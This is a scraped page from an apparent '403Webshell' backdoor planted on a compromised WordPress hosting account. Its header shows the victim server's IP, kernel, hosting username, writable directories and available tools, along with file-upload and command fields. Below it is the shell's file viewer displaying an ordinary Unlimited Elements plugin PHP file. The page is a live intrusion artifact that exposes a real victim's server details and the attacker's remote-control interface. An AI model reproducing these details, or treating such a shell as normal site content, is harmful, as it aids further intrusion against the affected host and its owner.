403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.165
Web Server : Apache
System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : ohklomafyi ( 52085)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ohklomafyi/www/wp-content/plugins/unlimited-elements-for-elementor/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ohklomafyi/www/wp-content/plugins/unlimited-elements-for-elementor/views/addondefaults.php
<?php

/**
 * @package Unlimited Elements
 * @author unlimited-elements.com
 * @copyright (C) 2021 Unlimited Elements, All Rights Reserved.
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('UNLIMITED_ELEMENTS_INC') or die('Restricted access');

class UniteCreatorAddonDefaultsView{

	protected $showToolbar = true;
	protected $showHeader = true;
	protected $addon;
	protected $addonID;
	protected $isPreviewMode;
	protected $isDataExists;

	/**
	 * constructor
	 */
	public function __construct(){

		$this->putHtml();
	}

	/**
	 * get header text
	 */
	protected function getHeader(){

		$addonTitle = $this->addon->getTitle();

		$headerTitle = esc_html__("Widget Defaults", "unlimited-elements-for-elementor");
		$headerTitle .= " - " . $addonTitle;

		return ($headerTitle);
	}

	/**
	 * put header html
	 */
	protected function putHeaderHtml(){

		$headerTitle = $this->getHeader();
		require HelperUC::getPathTemplate("header");
	}

	/**
	 * get options
	 */
	private function getOptions($addon){

		$pathAssets = $addon->getPathAssets();

		$options = array();
		$options["path_assets"] = $pathAssets;

		return ($options);
	}

	/**
	 * put html
	 */
	private function putHtml(){

		//HelperHtmlUC::putAddonTypesBrowserDialogs();

		$addonID = UniteFunctionsUC::getGetVar("id", "", UniteFunctionsUC::SANITIZE_ID);

		if(empty($addonID))
			UniteFunctionsUC::throwError("Widget ID not given");

		$this->addonID = $addonID;

		$addon = new UniteCreatorAddon();
		$addon->setOperationType(UniteCreatorAddon::OPERATION_CONFIG);

		$addon->initByID($addonID);

		$this->addon = $addon;

		$objAddons = new UniteCreatorAddons();

		$isNeedHelperEditor = $objAddons->isHelperEditorNeeded($addon);

		$addonTitle = $addon->getTitle();

		$addonType = $addon->getType();

		$objAddonType = $addon->getObjAddonType();

		$urlEditAddon = HelperUC::getViewUrl_EditAddon($addonID);

		$arrOptions = $this->getOptions($addon);

		//init addon config
		$addonConfig = new UniteCreatorAddonConfig();
		$addonConfig->setStartAddon($addon);

		$this->isDataExists = $addon->isDefaultDataExists();

		$isPreviewMode = UniteFunctionsUC::getGetVar("preview", "", UniteFunctionsUC::SANITIZE_KEY);
		$isPreviewMode = UniteFunctionsUC::strToBool($isPreviewMode);

		$addonConfig->setSourceAddon();
		$addonConfig->startWithPreview($isPreviewMode);
		$addonConfig->disableFontsPanel();

		$this->isPreviewMode = $isPreviewMode;

		$isNew = UniteFunctionsUC::getGetVar("new", "false", UniteFunctionsUC::SANITIZE_KEY);
		$isNew = UniteFunctionsUC::strToBool($isNew);

		if($isNew === true)
			require HelperUC::getPathTemplate("addon_defaults_new");
		else
			require HelperUC::getPathTemplate("addon_defaults");
	}

}

new UniteCreatorAddonDefaultsView();

Youez - 2016 - github.com/yon3zu
LinuXploit